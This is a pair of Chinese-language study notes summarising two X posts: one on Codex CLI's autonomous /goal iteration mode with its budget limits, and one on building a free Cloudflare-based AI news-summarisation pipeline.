原始來源與檔名：20260512_2026-05-05T094111+0800-Codex CLI goal 模式详解：OpenAI 官方 Ralph Loop 的自主迭代引擎.md
來源：[[@Pluvio9yte]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094111+0800-Codex CLI goal 模式详解：OpenAI 官方 Ralph Loop 的自主迭代引擎.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Normal Mode = 1 Prompt -> 1 Response -> Await User. (Assistant)
> /goal Mode = 1 Strategic Goal -> Loop(Plan -> Code -> Test -> Self-Eval) -> Finish. (Autonomous Engineer)
> Core Mechanics = SQLite Persistence + `continuation.md` & `budget_limit.md` Injection.
_這篇文章介紹了 OpenAI 在 Codex CLI v0.128.0 中悄悄釋放的實驗性核武：`/goal` 模式。這本質上是官方對 Ralph Loop (一種讓 LLM 自主迭代的迴圈架構) 的原生實現。不同於傳統對話「你問一句它答一句」的被動模式，`/goal` 模式允許開發者設定一個高階戰略目標（如：重構某模組並通過所有測試），然後 Agent 會自主讀取 Git、寫代碼、跑測試、自我修正 bug，直到它自己評估「目標已達成」或「預算耗盡」為止，實現了真正的「無人值守 (Unattended)」開發。_
### 一句話
> AI 終於可以自己加班了。`/goal` 模式打破了過去 LLM 寫代碼「寫到 80% 就停下來等你下指令」的困境。透過自動注入驗證與延續提示詞 (continuation.md)，Codex 會在一輪結束後自己問自己：「完成標準達到了嗎？沒達到的話下一步該做什麼？」這讓中大型專案的自動重構、端到端功能開發成為可能。只要設定好清楚的邊界條件與 Token 預算上限，你真的可以下達指令後去喝杯咖啡，讓 AI 連續運轉好幾個小時。
### 餐巾紙草圖
```text
[ Codex /goal Loop ]
User: "/goal Migrate auth module to v2, all tests must pass."
┌──────> 1. Analyze (Git, Files, Test outcomes)
│ │
│ ▼
│ 2. Execute (Write Code, Run Tests)
│ │
│ ▼
│ 3. Self-Evaluate (continuation.md injected)
│ "Is the goal 100% met?"
│ │
└─(No)──────┤
│
(Yes)
▼
DONE. (Or stopped by budget_limit.md)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **什麼是 `/goal`**: Codex CLI 的「持久目標循環模式」。本質是 OpenAI 原生的 Ralph Loop 實現。會將目標永久儲存在本地 SQLite 庫中。
- **核心運作機制**:
- 分析：讀取歷史、文件與測試結果。
- 執行：制定計畫、寫代碼、修 bug。
- 迭代：自動注入 `continuation.md` 讓模型自我評估是否達成目標。若未達成則自動啟動下一輪。
- **兩種模式對比**:
- 正常模式：對話助手，一問一答。
- `/goal` 模式：自主工程師，設定目標後自動循環到底。
- **適用場景**: 長週期複雜任務（重構、建置模組）、需要多次「修改-測試」循環的任務、想要無人值守開發時。
- **使用建議**: 目標必須包含「明確可驗證的完成標準」（例如：測試全數通過）。
- **注意事項**:
- **正面**: 成功率從 80% 提升到 95%+，代碼一致性高，極大幅度提升效率。
- **風險**: 可能消耗數百萬 Token，必須設定預算上限 (Budget Limit)；最終代碼仍需人工審查。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **跨越摩擦力臨界點 (Crossing the Friction Threshold)**: 傳統 AI 輔助開發最大的摩擦力在於「上下文切換」。每當代碼出現 bug，工程師必須複製報錯訊息貼回聊天視窗。`/goal` 模式透過自動閉環 (Auto-Loop)，將這個除錯與重試的摩擦力交由機器承擔。因為機器的運算頻率與耐心遠超人類，這種「自動重試」將完工率 (Completion Rate) 從需要人工介入的 70% 推升至機器自主的 95%。
2. **驗證與終止條件的設計**: 架構成功的關鍵不在於它能無限跑，而在於它知道「何時該停」。透過底層注入的 `continuation.md` (評估是否達標) 與 `budget_limit.md` (評估是否超支)，OpenAI 在工程上解決了自主 Agent 最容易陷入的「無限死迴圈 (Infinite Death Loop)」問題。
### 關鍵證據
- 文章中展示的「單輪任務進度條」截圖證明，在一個 `/goal` 指令下，Codex 會連續執行多個工具調用（如讀取檔案、執行終端機命令、修改程式碼），而不需要使用者的任何擊鍵。
### 邊界條件
- **探索性任務的失敗率**: `/goal` 模式極度依賴「可驗證的終止標準」。如果是「研究一個新框架」或「設計一個優美的 UI」這類主觀、缺乏自動化測試護欄的探索性任務，`/goal` 模式很容易在錯誤的方向上狂奔，消耗大量 Token 卻產出垃圾。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了 Andrej Karpathy 在《程式設計 20 年來最大的劇變》中提到的：「AI 的隱藏超能力是無限體力 (Infinite Stamina)... 代理程式不會累，它會嘗試 50 種方法、無限除錯」。`/goal` 模式就是將這個「無限體力」正式產品化的工具。
- **深層洞見**: **"从『工具』到『同事』的转变。"** 當你使用 `/goal` 時，你的思維必須從「我要怎麼寫這段 code」轉變為「我要怎麼定義這項任務的驗收標準 (Acceptance Criteria)」。你不再是程式設計師，你是擁有無限耐心的初級工程師的 Tech Lead。
- **行動呼籲**:
升級你的 Codex CLI。挑選一個你一直想做但嫌麻煩的重構任務，撰寫一段包含明確測試指令的目標描述（例如：`/goal 將 src/utils 裡的所有舊版 API 替換為 v2，請確保 npm run test:utils 完全通過`）。設定好 Token 上限，按下 Enter，然後去睡覺。醒來後檢查它的 Commit 紀錄。
開發工具
零成本架設：用 Cloudflare 五件套打造自動化 AI 內容流水線 (Serverless AI Content Pipeline)
"不要再手動複製貼上做行業周刊了。Cloudflare 已經為個人開發者準備好了一個全端、免費且內建 AI 的「雲端機房」。透過編寫不到 200 行的 JavaScript 程式碼配置 ，你就能擁有一個永不罷工的爬蟲、一個免費摘要文章的 Llama 模型大腦，以及一個極輕量的 SQLite 資料庫 (D1)。這是 Serverless + AI 帶來的恐怖生產力釋放。"
---
tags: [開發工具, 系統工程, 實戰教學]
date: 2026-05-01
source: "20260512_2026-05-05T094055+0800-我用 Cloudflare 免费搭了一套 AI 内容流水线，真的能跑起来.md"
---
# 零成本架設：用 Cloudflare 五件套打造自動化 AI 內容流水線 (Serverless AI Content Pipeline)
原始來源與檔名：20260512_2026-05-05T094055+0800-我用 Cloudflare 免费搭了一套 AI 内容流水线，真的能跑起来.md
來源：[[@xiangxiang103]] / X (Twitter) — 2026-05-01
原始檔名：`2026-05-05T094055+0800-我用 Cloudflare 免费搭了一套 AI 内容流水线，真的能跑起来.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Content Pipeline = (Workers + Cron) for scraping + (Workers AI) for summarizing + (D1) for structured DB + (R2) for raw storage + (Pages) for frontend.
> Cost = $0 (within free tier limits).
> Result = Personal "Editorial Department" running silently at the edge.
_這是一篇極具實戰價值的架構教學文。作者展示了如何利用 Cloudflare 的免費生態系，建立一個完全無需維護伺服器 (Serverless) 的「AI 科技周刊自動生成器」。系統每天定時抓取 Hacker News 等資訊源，調用免費的開源大模型 (如 Llama-3 8B) 進行中文摘要與分類，將結構化資料存入 D1 資料庫，原始資料存入 R2 對象儲存，最後透過 Pages 靜態網頁展示給讀者。這套方案徹底解決了個人創作者「資訊過載」與「缺乏自動化工作流」的痛點。_
### 一句話
> 不要再手動複製貼上做行業周刊了。Cloudflare 已經為個人開發者準備好了一個全端、免費且內建 AI 的「雲端機房」。透過編寫不到 200 行的 JavaScript 程式碼配置 `wrangler.toml`，你就能擁有一個永不罷工的爬蟲、一個免費摘要文章的 Llama 模型大腦，以及一個極輕量的 SQLite 資料庫 (D1)。這是 Serverless + AI 帶來的恐怖生產力釋放。
### 餐巾紙草圖
```text
[ The Cloudflare AI Pipeline ]
(Cron Trigger @ 8AM)
│
▼
[ Worker (src/index.js) ] --(fetch)--> Hacker News JSON
│
▼
[ Workers AI (Llama 3 8B) ] --> Summarizes & Tags (Extracts title_zh, summary, why_it_matters)
│
├──> [ R2 Bucket ] --> Stores Raw JSON / Images (content-store)
│
└──> [ D1 Database ] --> Stores Structured Rows (content-db)
│
▼
[ Pages (/api/articles + index.html) ] --> Renders Frontend Website
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心痛點**: 資訊過載時代，個人創作者缺的不是內容，而是「自動化工作流」。手動搜集排版難以持久。
- **Cloudflare 五件套架構**:
1. **Workers + Cron**: 每天定時執行 JavaScript，負責去外部源（如 HN、RSS）抓取資料。
2. **Workers AI**: 直接在邊緣節點調用開源大模型（Llama-3），將抓回來的內容進行翻譯、摘要、打標籤（轉為 JSON 格式）。
3. **R2**: 存放圖片、超大原始 JSON 的物件儲存（無出站流量費）。
4. **D1**: Serverless SQLite 資料庫，儲存精煉過的文章標題、連結與摘要。
5. **Pages**: 靜態網站託管，自帶 Functions (API)，負責將 D1 裡的資料渲染成公開網頁。
- **免費額度評估**: 個人或小團隊使用（例如每天抓 50 篇，網頁訪問 1000 次），基本都在免費套餐涵蓋範圍內。
- **避坑指南**:
- Cron 觸發有 CPU 時間限制，一次抓太多會超時，建議拆分小任務或用 Queue。
- AI 計費依據 Neurons，選擇小而快的模型（如 8B）最划算。
- 進階玩法：可接入 Vectorize 實作語意搜索 (RAG)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎設施的民主化 (Democratization of Infra)**: 過去搭建這樣的 Pipeline 需要購買 EC2、配置 Cronjob、買 RDS 資料庫、註冊 OpenAI API 並綁定信用卡。現在，Cloudflare 透過其邊緣運算網路，將這些元件打包成免費或極低成本的 Serverless 服務，徹底抹平了個人與企業的技術落差。
2. **邊緣運算的優勢**: Workers AI 的優勢在於它不需要發送網路請求給第三方 API 供應商。爬蟲 (Worker) 抓到資料後，直接在同一個 Cloudflare 節點的 GPU 上運行推論，這不僅降低了延遲，也簡化了金鑰管理的複雜度。
### 關鍵證據
- 文章提供了完整的 `wrangler.toml` 配置與 `index.js` 核心邏輯代碼，以及資料庫的 Schema (`schema.sql`)，證明這不是紙上談兵，而是可以在 30 分鐘內跑通的真實專案。
### 邊界條件
- **商用擴展性限制**: 作者明確指出，免費版 Workers 有 CPU 運行時間限制（通常為 10-50 毫秒的 CPU 時間，非牆鐘時間）。如果是商業級別的大型爬蟲，必須升級付費版（Workers Paid）並引入非同步的 Queue 架構，否則極易觸發超時中斷。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Agent Memory Engineering》中提到的：不要過度追求複雜的向量資料庫 (Vector DB)。這篇文章的架構完美示範了「簡單的 D1 (SQLite) + 結構化 JSON」就足以解決 90% 的資訊流需求，只有當真的需要「按意思搜文章」時，才引入 Vectorize。
- **深層洞見**: **"你不需要再陷在日常的 Ctrl+C 和 Ctrl+V 里，那些重复的信息筛选工作，完全可以交给机器在你看不到的边缘节点上默默完成。"** 這是科技賦能個人的終極形態。個人的競爭力不再是「誰能記住更多」，而是「誰能建構出最高效的個人資訊過濾與提煉系統」。
- **行動呼籲**:
如果你有 Cloudflare 帳號，立刻打開終端機，嘗試執行 `npm create cloudflare@latest`。把這篇文章裡的代碼貼進去，修改 `fetch` 網址為你最喜歡的 RSS 源。花一個下午，為自己建立一個永不停歇的「邊緣運算編輯部」。